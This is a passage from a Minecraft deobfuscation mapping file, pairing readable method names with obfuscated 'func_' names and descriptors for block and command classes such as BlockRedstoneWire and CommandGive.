net/minecraft/block/BlockRedSandstone$EnumType/byMetadata (I)Lnet/minecraft/block/BlockRedSandstone$EnumType; net/minecraft/block/BlockRedSandstone$EnumType/func_176825_a (I)Lnet/minecraft/block/BlockRedSandstone$EnumType; +MD: net/minecraft/block/BlockRedSandstone$EnumType/getUnlocalizedName ()Ljava/lang/String; net/minecraft/block/BlockRedSandstone$EnumType/func_176828_c ()Ljava/lang/String; +MD: net/minecraft/block/BlockRedSandstone$EnumType/getName ()Ljava/lang/String; net/minecraft/block/BlockRedSandstone$EnumType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockRedSandstone$EnumType/toString ()Ljava/lang/String; net/minecraft/block/BlockRedSandstone$EnumType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockRedSandstone$EnumType/values ()[Lnet/minecraft/block/BlockRedSandstone$EnumType; net/minecraft/block/BlockRedSandstone$EnumType/values ()[Lnet/minecraft/block/BlockRedSandstone$EnumType; +MD: net/minecraft/block/BlockRedSandstone/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRedSandstone/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRedSandstone/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockRedSandstone/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockRedSandstone/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockRedSandstone/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockRedSandstone/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockRedSandstone/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockRedSandstone/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockRedSandstone/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/command/CommandGive/getRequiredPermissionLevel ()I net/minecraft/command/CommandGive/func_82362_a ()I +MD: net/minecraft/command/CommandGive/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandGive/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandGive/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandGive/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandGive/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/CommandGive/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/CommandGive/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandGive/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandGive/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandGive/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/CommandGive/getPlayers ()[Ljava/lang/String; net/minecraft/command/CommandGive/func_71536_c ()[Ljava/lang/String; +MD: net/minecraft/block/BlockRedstoneOre/quantityDroppedWithBonus (ILjava/util/Random;)I net/minecraft/block/BlockRedstoneOre/func_149679_a (ILjava/util/Random;)I +MD: net/minecraft/block/BlockRedstoneOre/tickRate (Lnet/minecraft/world/World;)I net/minecraft/block/BlockRedstoneOre/func_149738_a (Lnet/minecraft/world/World;)I +MD: net/minecraft/block/BlockRedstoneOre/dropBlockAsItemWithChance (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V net/minecraft/block/BlockRedstoneOre/func_180653_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V +MD: net/minecraft/block/BlockRedstoneOre/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockRedstoneOre/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockRedstoneOre/onEntityCollidedWithBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockRedstoneOre/func_176199_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockRedstoneOre/onBlockClicked (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/block/BlockRedstoneOre/func_180649_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/block/BlockRedstoneOre/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockRedstoneOre/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockRedstoneOre/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockRedstoneOre/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockRedstoneOre/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockRedstoneOre/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockRedstoneOre/randomDisplayTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockRedstoneOre/func_180655_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockRedstoneOre/activate (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockRedstoneOre/func_176352_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockRedstoneOre/spawnParticles (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockRedstoneOre/func_180691_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockRedstoneOre/createStackedBlock (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; net/minecraft/block/BlockRedstoneOre/func_180643_i (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/block/BlockRedstoneWire$EnumAttachPosition/getName ()Ljava/lang/String; net/minecraft/block/BlockRedstoneWire$EnumAttachPosition/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockRedstoneWire$EnumAttachPosition/toString ()Ljava/lang/String; net/minecraft/block/BlockRedstoneWire$EnumAttachPosition/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockRedstoneWire$EnumAttachPosition/values ()[Lnet/minecraft/block/BlockRedstoneWire$EnumAttachPosition; net/minecraft/block/BlockRedstoneWire$EnumAttachPosition/values ()[Lnet/minecraft/block/BlockRedstoneWire$EnumAttachPosition; +MD: net/minecraft/block/BlockRedstoneWire/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRedstoneWire/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRedstoneWire/getMaxCurrentStrength (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)I net/minecraft/block/BlockRedstoneWire/func_176342_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/block/BlockRedstoneWire/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockRedstoneWire/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockRedstoneWire/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockRedstoneWire/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockRedstoneWire/calculateCurrentChanges (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRedstoneWire/func_176345_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRedstoneWire/colorMultiplier (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I net/minecraft/block/BlockRedstoneWire/func_180662_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/block/BlockRedstoneWire/getWeakPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockRedstoneWire/func_180656_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockRedstoneWire/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRedstoneWire/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRedstoneWire/canConnectTo (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockRedstoneWire/func_176343_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockRedstoneWire/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockRedstoneWire/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockRedstoneWire/colorMultiplier (I)I net/minecraft/block/BlockRedstoneWire/func_176337_b (I)I +MD: net/minecraft/block/BlockRedstoneWire/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockRedstoneWire/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockRedstoneWire/getStrongPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockRedstoneWire/func_176211_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockRedstoneWire/isOpaqueCube ()Z net/minecraft/block/BlockRedstoneWire/func_149662_c ()Z +MD: net/minecraft/block/BlockRedstoneWire/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockRedstoneWire/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockRedstoneWire/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockRedstoneWire/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockRedstoneWire/randomDisplayTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockRedstoneWire/func_180655_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockRedstoneWire/getAttachPosition (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/block/BlockRedstoneWire$EnumAttachPosition; net/minecraft/block/BlockRedstoneWire/func_176341_c (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/block/BlockRedstoneWire$EnumAttachPosition; +MD: net/minecraft/block/BlockRedstoneWire/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockRedstoneWire/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockRedstoneWire/isFullCube ()Z net/minecraft/block/BlockRedstoneWire/func_149686_d ()Z +MD: net/minecraft/block/BlockRedstoneWire/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockRedstoneWire/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockRedstoneWire/func_176339_d (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockRedstoneWire/func_176339_d (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockRedstoneWire/canConnectUpwardsTo (Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockRedstoneWire/func_176346_d (Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockRedstoneWire/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockRedstoneWire/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockRedstoneWire/notifyWireNeighborsOfStateChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockRedstoneWire/func_176344_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockRedstoneWire/updateSurroundingRedstone (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRedstoneWire/func_176338_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRedstoneWire/canConnectUpwardsTo (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockRedstoneWire/func_176340_e (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockRedstoneWire/canProvidePower ()Z net/minecraft/block/BlockRedstoneWire/func_149744_f ()Z +MD: net/minecraft/block/BlockRedstoneWire/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockRedstoneWire/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockRedstoneLight/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockRedstoneLight/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockRedstoneLight/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockRedstoneLight/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockRedstoneLight/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockRedstoneLight/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockRedstoneLight/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockRedstoneLight/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockRedstoneLight/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockRedstoneLight/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockRedstoneLight/createStackedBlock (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; net/minecraft/block/BlockRedstoneLight/func_180643_i (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/block/BlockRedstoneTorch/tickRate (Lnet/minecraft/world/World;)I net/minecraft/block/BlockRedstoneTorch/func_149738_a (Lnet/minecraft/world/World;)I +MD: net/minecraft/block/BlockRedstoneTorch/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockRedstoneTorch/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockRedstoneTorch/randomTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockRedstoneTorch/func_180645_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockRedstoneTorch/isBurnedOut (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Z)Z net/minecraft/block/BlockRedstoneTorch/func_176598_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Z)Z +MD: net/minecraft/block/BlockRedstoneTorch/getWeakPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockRedstoneTorch/func_180656_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockRedstoneTorch/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockRedstoneTorch/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockRedstoneTorch/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockRedstoneTorch/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockRedstoneTorch/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockRedstoneTorch/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockRedstoneTorch/getStrongPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockRedstoneTorch/func_176211_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockRedstoneTorch/isAssociatedBlock (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockRedstoneTorch/func_149667_c (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockRedstoneTorch/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockRedstoneTorch/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockRedstoneTorch/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockRedstoneTorch/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockRedstoneTorch/randomDisplayTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockRedstoneTorch/func_180655_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockRedstoneTorch/shouldBeOff (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockRedstoneTorch/func_176597_g (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockRedstoneTorch/canProvidePower ()Z net/minecraft/block/BlockRedstoneTorch/func_149744_f ()Z +MD: net/minecraft/block/BlockReed/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockReed/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockReed/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockReed/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockReed/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockReed/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockReed/colorMultiplier (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I net/minecraft/block/BlockReed/func_180662_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/block/BlockReed/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockReed/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockReed/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockReed/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockReed/isOpaqueCube ()Z net/minecraft/block/BlockReed/func_149662_c ()Z +MD: net/minecraft/block/BlockReed/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockReed/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockReed/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockReed/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockReed/isFullCube ()Z net/minecraft/block/BlockReed/func_149686_d ()Z +MD: net/minecraft/block/BlockReed/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockReed/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockReed/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockReed/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockReed/canBlockStay (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockReed/func_176354_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockReed/checkForDrop (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockReed/func_176353_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockReed/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockReed/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockRedstoneRepeater/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRedstoneRepeater/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRedstoneRepeater/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockRedstoneRepeater/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockRedstoneRepeater/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRedstoneRepeater/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRedstoneRepeater/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockRedstoneRepeater/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockRedstoneRepeater/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockRedstoneRepeater/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockRedstoneRepeater/isLocked (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockRedstoneRepeater/func_176405_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockRedstoneRepeater/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockRedstoneRepeater/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockRedstoneRepeater/randomDisplayTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockRedstoneRepeater/func_180655_c 